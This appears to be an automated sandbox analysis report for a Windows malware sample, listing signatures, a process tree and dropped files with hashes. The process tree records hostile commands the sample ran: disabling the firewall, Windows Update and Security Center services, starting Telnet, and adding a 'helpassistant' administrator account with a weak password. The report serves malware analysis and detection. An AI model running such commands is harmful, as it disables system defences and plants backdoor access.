Overview

overview

9

Static

static

3

2026-06-08...an.exe

windows10-2004-x64

9

2026-06-08...an.exe

windows11-21h2-x64

9

Analysis

  • max time kernel
    150s
  • platform
    windows11-21h2_x64
  • resource
    win11-20260513-en
  • resource tags

    arch:x64arch:x86image:win11-20260513-enlocale:en-usos:windows11-21h2-x64systemwindows
  • submitted
    08/06/2026, 15:05

Sharing

Copy URL Twitter E-mail
Report Analysis Logs

General

  • Target
    2026-06-08_47990f92fd5c4aa4da4bcbdc90149ece_cobalt-strike_elex_hijackloader_redline-stealer_rhadaman.exe
  • Size 1.0MB
  • Sample260608-sgms3agv71
  • SHA256 c211461f4bcac8269cd0cd7953501a397f5549cee679c020a34ac313c9f6adea
  • MD5 SHA1 SHA512 SSDEEP TLSH
Score
9/10
defense_evasiondiscoveryexecution

Malware Config

Signatures

  • Grants admin privileges 1 TTPs

    Uses net.exe to modify the user's privileges.

  • Disables service(s) 3 TTPs
    defense_evasionexecution
  • Executes dropped EXE 2 IoCs
  • Network Share Discovery 1 TTPs

    Attempt to gather information on host network.

    discovery
  • Drops file in System32 directory 4 IoCs
  • Drops file in Program Files directory 64 IoCs
  • Launches sc.exe 5 IoCs

    Sc.exe is a Windows utlilty to control services on the system.

  • Permission Groups Discovery: Local Groups 1 TTPs

    Attempt to find local system groups and permission settings.

    discovery
  • System Location Discovery: System Language Discovery 1 TTPs 30 IoCs

    Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

    discovery
  • Runs net.exe
  • Suspicious use of SetWindowsHookEx 2 IoCs
  • Suspicious use of WriteProcessMemory 30 IoCs

Processes

  • C:\Users\Admin\AppData\Local\Temp\2026-06-08_47990f92fd5c4aa4da4bcbdc90149ece_cobalt-strike_elex_hijackloader_redline-stealer_rhadaman.exe
    "C:\Users\Admin\AppData\Local\Temp\2026-06-08_47990f92fd5c4aa4da4bcbdc90149ece_cobalt-strike_elex_hijackloader_redline-stealer_rhadaman.exe"
    1⤵
    • Drops file in System32 directory
    • Drops file in Program Files directory
    • System Location Discovery: System Language Discovery
    • Suspicious use of SetWindowsHookEx
    • Suspicious use of WriteProcessMemory
    PID:3624
    • C:\Windows\SysWOW64\cmd.exe
      C:\Windows\system32\cmd.exe /c C:\Windows\system32\Option.bat
      2⤵
      • System Location Discovery: System Language Discovery
      PID:2580
    • C:\Windows\SysWOW64\UpdatAuto.exe
      C:\Windows\system32\UpdatAuto.exe
      2⤵
      • Executes dropped EXE
      • Drops file in System32 directory
      • Drops file in Program Files directory
      • System Location Discovery: System Language Discovery
      • Suspicious use of SetWindowsHookEx
      • Suspicious use of WriteProcessMemory
      PID:4440
      • C:\Windows\SysWOW64\cmd.exe
        C:\Windows\system32\cmd.exe /c C:\Windows\system32\Option.bat
        3⤵
        • System Location Discovery: System Language Discovery
        PID:5048
    • C:\Users\Admin\AppData\Local\Temp\2026-06-08_47990f92fd5c4aa4da4bcbdc90149ece_cobalt-strike_elex_hijackloader_redline-stealer_rhadaman~4.exe
      2026-06-08_47990f92fd5c4aa4da4bcbdc90149ece_cobalt-strike_elex_hijackloader_redline-stealer_rhadaman~4.exe
      2⤵
      • Executes dropped EXE
      PID:4936
    • C:\Windows\SysWOW64\cmd.exe
      cmd.exe /c net stop sharedaccess
      2⤵
      • System Location Discovery: System Language Discovery
      • Suspicious use of WriteProcessMemory
      PID:2816
      • C:\Windows\SysWOW64\net.exe
        net stop sharedaccess
        3⤵
        • System Location Discovery: System Language Discovery
        • Suspicious use of WriteProcessMemory
        PID:1188
        • C:\Windows\SysWOW64\net1.exe
          C:\Windows\system32\net1 stop sharedaccess
          4⤵
          • System Location Discovery: System Language Discovery
          PID:3536
    • C:\Windows\SysWOW64\cmd.exe
      cmd.exe /c net stop wuauserv
      2⤵
      • System Location Discovery: System Language Discovery
      • Suspicious use of WriteProcessMemory
      PID:3076
      • C:\Windows\SysWOW64\net.exe
        net stop wuauserv
        3⤵
        • System Location Discovery: System Language Discovery
        • Suspicious use of WriteProcessMemory
        PID:1856
        • C:\Windows\SysWOW64\net1.exe
          C:\Windows\system32\net1 stop wuauserv
          4⤵
          • System Location Discovery: System Language Discovery
          PID:4952
    • C:\Windows\SysWOW64\cmd.exe
      cmd.exe /c net stop wscsvc
      2⤵
      • System Location Discovery: System Language Discovery
      • Suspicious use of WriteProcessMemory
      PID:692
      • C:\Windows\SysWOW64\net.exe
        net stop wscsvc
        3⤵
        • System Location Discovery: System Language Discovery
        • Suspicious use of WriteProcessMemory
        PID:2464
        • C:\Windows\SysWOW64\net1.exe
          C:\Windows\system32\net1 stop wscsvc
          4⤵
          • System Location Discovery: System Language Discovery
          PID:4928
    • C:\Windows\SysWOW64\cmd.exe
      cmd.exe /c net stop srservice
      2⤵
      • System Location Discovery: System Language Discovery
      • Suspicious use of WriteProcessMemory
      PID:3456
      • C:\Windows\SysWOW64\net.exe
        net stop srservice
        3⤵
        • System Location Discovery: System Language Discovery
        • Suspicious use of WriteProcessMemory
        PID:3716
        • C:\Windows\SysWOW64\net1.exe
          C:\Windows\system32\net1 stop srservice
          4⤵
          • System Location Discovery: System Language Discovery
          PID:4728
    • C:\Windows\SysWOW64\cmd.exe
      cmd.exe /c net start TlntSvr
      2⤵
      • System Location Discovery: System Language Discovery
      • Suspicious use of WriteProcessMemory
      PID:2492
      • C:\Windows\SysWOW64\net.exe
        net start TlntSvr
        3⤵
        • System Location Discovery: System Language Discovery
        • Suspicious use of WriteProcessMemory
        PID:1396
        • C:\Windows\SysWOW64\net1.exe
          C:\Windows\system32\net1 start TlntSvr
          4⤵
          • System Location Discovery: System Language Discovery
          PID:5036
    • C:\Windows\SysWOW64\cmd.exe
      cmd.exe /c net user helpassistant 123456
      2⤵
      • System Location Discovery: System Language Discovery
      • Suspicious use of WriteProcessMemory
      PID:960
      • C:\Windows\SysWOW64\net.exe
        net user helpassistant 123456
        3⤵
        • System Location Discovery: System Language Discovery
        • Suspicious use of WriteProcessMemory
        PID:3952
        • C:\Windows\SysWOW64\net1.exe
          C:\Windows\system32\net1 user helpassistant 123456
          4⤵
          • System Location Discovery: System Language Discovery
          PID:1720
    • C:\Windows\SysWOW64\cmd.exe
      cmd.exe /c net localgroup administrators helpassistant /add
      2⤵
      • System Location Discovery: System Language Discovery
      • Suspicious use of WriteProcessMemory
      PID:5092
      • C:\Windows\SysWOW64\net.exe
        net localgroup administrators helpassistant /add
        3⤵
        • System Location Discovery: System Language Discovery
        • Suspicious use of WriteProcessMemory
        PID:1760
        • C:\Windows\SysWOW64\net1.exe
          C:\Windows\system32\net1 localgroup administrators helpassistant /add
          4⤵
          • System Location Discovery: System Language Discovery
          PID:5076
    • C:\Windows\SysWOW64\sc.exe
      sc config srservice start= disabled
      2⤵
      • Launches sc.exe
      • System Location Discovery: System Language Discovery
      PID:4560
    • C:\Windows\SysWOW64\sc.exe
      sc config SharedAccess start= disabled
      2⤵
      • Launches sc.exe
      • System Location Discovery: System Language Discovery
      PID:2304
    • C:\Windows\SysWOW64\sc.exe
      sc config wuauserv start= disabled
      2⤵
      • Launches sc.exe
      • System Location Discovery: System Language Discovery
      PID:2220
    • C:\Windows\SysWOW64\sc.exe
      sc config wscsvc start= disabled
      2⤵
      • Launches sc.exe
      • System Location Discovery: System Language Discovery
      PID:996
    • C:\Windows\SysWOW64\sc.exe
      sc config srservice start= disabled
      2⤵
      • Launches sc.exe
      • System Location Discovery: System Language Discovery
      PID:4000

Network

        MITRE ATT&CK Enterprise v16

        Replay Monitor

        Loading Replay Monitor...

        Downloads

        7z.exe
        • Path C:\Program Files\7-Zip\7z.exe
        • Size 1.5MB
        • SHA256 113cc6ec2509da74d3ec9d781cf643f52aed28548c991238f50f011c5337c031
        • MD5 SHA1 SHA512 SSDEEP TLSH
        Submit Download

        7zFM.exe
        • Path C:\Program Files\7-Zip\7zFM.exe
        • Size 1.9MB
        • SHA256 d2972ae2637334d1400f8c3b8067b10af98f4abd979e7c25fd68cc56f6c3e585
        • MD5 SHA1 SHA512 SSDEEP TLSH
        Submit Download

        7zG.exe
        • Path C:\Program Files\7-Zip\7zG.exe
        • Size 1.7MB
        • SHA256 7aba5e4498a230b80eb63e7f02f574684ed0333d9ad0ca95d025c02f39c20126
        • MD5 SHA1 SHA512 SSDEEP TLSH
        Submit Download

        Uninstall.exe
        • Path C:\Program Files\7-Zip\Uninstall.exe
        • Size 1.0MB
        • SHA256 0f04e9e49fb4bcd4cc39271aa26e4013351f20f6d1ecc077dd624e0476072a0f
        • MD5 SHA1 SHA512 SSDEEP TLSH
        Submit Download

        chrmstp.exe
        • Path C:\Program Files\Google\Chrome\Application\140.0.7339.81\Installer\chrmstp.exe
        • Size 7.1MB
        • SHA256 275fad7a13eede8a523a16a43cd70fd52b0b43f00f8107b9e8ac929d71a80acf
        • MD5 SHA1 SHA512 SSDEEP TLSH
        Submit Download

        chrome_pwa_launcher.exe
        • Path C:\Program Files\Google\Chrome\Application\140.0.7339.81\chrome_pwa_launcher.exe
        • Size 2.7MB
        • SHA256 9dde1bbb80988600f5fde8cf83963b01709fca41fcd170252fc166c97e61e55a
        • MD5 SHA1 SHA512 SSDEEP TLSH
        Submit Download

        elevated_tracing_service.exe
        • Path C:\Program Files\Google\Chrome\Application\140.0.7339.81\elevated_tracing_service.exe
        • Size 4.5MB
        • SHA256 036420886b9fd2ae3cbd04628a78fe766e8303ffb845dc1638140dd812a1bb68
        • MD5 SHA1 SHA512 SSDEEP TLSH
        Submit Download

        notification_helper.exe
        • Path C:\Program Files\Google\Chrome\Application\140.0.7339.81\notification_helper.exe
        • Size 2.6MB
        • SHA256 7ddf7d8e445027551c5eb0cba17fec0ad54d444f51268dbc2b483b38a74b4296
        • MD5 SHA1 SHA512 SSDEEP TLSH
        Submit Download

        os_update_handler.exe
        • Path C:\Program Files\Google\Chrome\Application\140.0.7339.81\os_update_handler.exe
        • Size 2.9MB
        • SHA256 dd08da006cc3ecfba2f7b9e419a56428177fc7f8477642cd709ce2ca2ee3cd04
        • MD5 SHA1 SHA512 SSDEEP TLSH
        Submit Download

        chrome.exe
        • Path C:\Program Files\Google\Chrome\Application\chrome.exe
        • Size 4.1MB
        • SHA256 ddcf25b1ce35063cf663c2ef798c2aecc721ca4a9784eae40ee38501299ed27d
        • MD5 SHA1 SHA512 SSDEEP TLSH
        Submit Download

        chrome_proxy.exe
        • Path C:\Program Files\Google\Chrome\Application\chrome_proxy.exe
        • Size 2.4MB
        • SHA256 6ec3ff69f003d825aef3fb66ade011f748db13663653b12ce57ad2314d26b8ec
        • MD5 SHA1 SHA512 SSDEEP TLSH
        Submit Download

        appletviewer.exe
        • Path C:\Program Files\Java\jdk-1.8\bin\appletviewer.exe
        • Size 1.0MB
        • SHA256 f0516e86c661b48a6532d61557d6adacffd8e6a7d6ed3c78e4d70aa6237ec969
        • MD5 SHA1 SHA512 SSDEEP TLSH
        Submit Download

        extcheck.exe
        • Path C:\Program Files\Java\jdk-1.8\bin\extcheck.exe
        • Size 1.0MB
        • SHA256 5eb11b70016b0de8819d43375e266544e15727a707eab6436f1061ed490a475e
        • MD5 SHA1 SHA512 SSDEEP TLSH
        Submit Download

        idlj.exe
        • Path C:\Program Files\Java\jdk-1.8\bin\idlj.exe
        • Size 1.0MB
        • SHA256 7f82dcefb9d345765abe113e9ceb32e5c7a34ecca8e5f9344a8dbcc706dbb19c
        • MD5 SHA1 SHA512 SSDEEP TLSH
        Submit Download

        jabswitch.exe
        • Path C:\Program Files\Java\jdk-1.8\bin\jabswitch.exe
        • Size 1.0MB
        • SHA256 fb7010e1b13334264a9bdf2061c6934191490135ae95b34e264510cc4c885faa
        • MD5 SHA1 SHA512 SSDEEP TLSH
        Submit Download

        jar.exe
        • Path C:\Program Files\Java\jdk-1.8\bin\jar.exe
        • Size 1.0MB
        • SHA256 ef7644b60720ca66fa50b01a5ac18435b047189ba3f077777e514906ab8129ea
        • MD5 SHA1 SHA512 SSDEEP TLSH
        Submit Download

        jarsigner.exe
        • Path C:\Program Files\Java\jdk-1.8\bin\jarsigner.exe
        • Size 1.0MB
        • SHA256 4e2dc90a2396716bd29526067cdd4a8d6567f28cdddddd669e4cb89185f620ea
        • MD5 SHA1 SHA512 SSDEEP TLSH
        Submit Download

        dotnet.exe
        • Path C:\Program Files\dotnet\dotnet.exe
        • Size 1.1MB
        • SHA256 bac2631ececbcb9db89c8f8937c894c4f8c96ab85e21e58dedd8593a9d29d5bc
        • MD5 SHA1 SHA512 SSDEEP TLSH
        Submit Download

        createdump.exe
        • Path C:\Program Files\dotnet\shared\Microsoft.NETCore.App\6.0.27\createdump.exe
        • Size 1.1MB
        • SHA256 8879201572f9306815144de4d156015d1864c0831abd64f12aa9f08d7fe6a4ff
        • MD5 SHA1 SHA512 SSDEEP TLSH
        Submit Download

        createdump.exe
        • Path C:\Program Files\dotnet\shared\Microsoft.NETCore.App\7.0.16\createdump.exe
        • Size 1.1MB
        • SHA256 72db18786ffe233741a50efb460549e78a07b571543ddcb1d9196866208f790a
        • MD5 SHA1 SHA512 SSDEEP TLSH
        Submit Download

        createdump.exe
        • Path C:\Program Files\dotnet\shared\Microsoft.NETCore.App\8.0.15\createdump.exe
        • Size 1.1MB
        • SHA256 ed0deb5c59fa0afd2e37c922df29bd4cc00be747d2327fc6661d6ef06815b8fa
        • MD5 SHA1 SHA512 SSDEEP TLSH
        Submit Download

        2026-06-08_47990f92fd5c4aa4da4bcbdc90149ece_cobalt-strike_elex_hijackloader_redline-stealer_rhadaman~4.exe
        • Path C:\Users\Admin\AppData\Local\Temp\2026-06-08_47990f92fd5c4aa4da4bcbdc90149ece_cobalt-strike_elex_hijackloader_redline-stealer_rhadaman~4.exe
        • Size 48KB
        • SHA256 b648a37fbb1f62094d53c0e291fd88ad548e63e8fae4e9a1528f8640fca02366
        • MD5 SHA1 SHA512 SSDEEP TLSH
        Submit Download

        Option.bat
        • Path C:\Windows\SysWOW64\Option.bat
        • Size 53B
        • SHA256 0bc485263cf8a962e64db0b88f156f2a9af1b81ecfdb1cf9111d497e85df70f3
        • MD5 SHA1 SHA512 TLSH
        Submit Download

        UpdatAuto.exe
        • Path C:\Windows\SysWOW64\UpdatAuto.exe
        • Size 1.0MB
        • SHA256 a3cb49ccc556b4077f58e615650fbeddef548789ac715de62fd4e5126a6c449b
        • MD5 SHA1 SHA512 SSDEEP TLSH
        Submit Download

        ntldr~6
        • Path \??\c:\ntldr~6
        • Size 1.0MB
        • SHA256 8569d543c2fddf7eb40cd1ca6e04d2e795d9d7dfd09b304ca3cc69c451a31b5a
        • MD5 SHA1 SHA512 SSDEEP TLSH
        Submit Download

        ntldr~6
        • Path \??\c:\ntldr~6
        • Size 1.0MB
        • SHA256 7450e46c790cdf319a0a71bb93968fa705bc9c9748327cebbad2930620ca399d
        • MD5 SHA1 SHA512 SSDEEP TLSH
        Submit Download

        ntldr~6
        • Path \??\c:\ntldr~6
        • Size 1.0MB
        • SHA256 619a7881ee87993027ec5f0c25ac08907b2ad4526007fb258ef031607cc63a65
        • MD5 SHA1 SHA512 SSDEEP TLSH
        Submit Download

        ntldr~6
        • Path \??\c:\ntldr~6
        • Size 1.0MB
        • SHA256 5d066c7f8a90922cb00baaebeb6439a4fc08d24dbd0c47d8b0363f8c05104412
        • MD5 SHA1 SHA512 SSDEEP TLSH
        Submit Download

        ntldr~6
        • Path \??\c:\ntldr~6
        • Size 1.0MB
        • SHA256 19d01fe5da48a217aa6e05456e2e38d474428b19adea1f76fc341ebff2092e34
        • MD5 SHA1 SHA512 SSDEEP TLSH
        Submit Download

        ntldr~6
        • Path \??\c:\ntldr~6
        • Size 1.0MB
        • SHA256 ef4beea3a6e7b92519c4f894a926d7f222ae82c3a73df4acb64a2e17e02e6d9d
        • MD5 SHA1 SHA512 SSDEEP TLSH
        Submit Download

        ntldr~6
        • Path \??\c:\ntldr~6
        • Size 1.0MB
        • SHA256 d4d350f2f07f2d1c4ab96f478f3430b46d8fffe7db84613fad4056fd41326dc0
        • MD5 SHA1 SHA512 SSDEEP TLSH
        Submit Download

        ntldr~6
        • Path \??\c:\ntldr~6
        • Size 1.0MB
        • SHA256 0051c5609b5316db6543e517a14bb3ca7e90914b90a3ee2ffae22b4591e96f40
        • MD5 SHA1 SHA512 SSDEEP TLSH
        Submit Download